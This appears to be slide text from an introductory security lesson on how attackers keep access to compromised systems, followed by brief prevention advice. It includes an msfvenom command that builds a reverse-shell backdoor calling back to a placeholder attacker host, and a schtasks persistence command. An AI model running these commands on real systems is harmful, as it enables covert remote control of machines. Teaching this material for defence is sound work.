Welcome to Maintaining Access
After gaining access to a system, attackers attempt to maintain control using various techniques.
2
What is Maintaining Access?
It refers to techniques used to ensure continued control over a compromised system.
3
Common Methods of Maintaining Access
- Backdoors
- Rootkits
- Trojanized Binaries
- Persistence Scripts
4
Using Backdoors
Backdoors provide attackers with a hidden entry point into a system.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe > backdoor.exe5
Rootkits
Rootkits modify system files to hide malicious activity.
6
Persistence with Scheduled Tasks
Attackers use scheduled tasks to automatically execute malicious programs.
schtasks /create /tn backdoor /tr C:\malicious.exe /sc minute /mo 57
Common Tools for Maintaining Access
Metasploit- Backdoors and persistence.Netcat- Reverse shells.HiddenVNC- Remote control of compromised machines.

How to Prevent Persistence
- Monitor scheduled tasks.
- Use anti-rootkit tools.
- Regularly audit system logs.
- Restrict administrative access.

Summary
Maintaining access involves using backdoors, rootkits, and persistence techniques. Security measures help detect and remove threats.
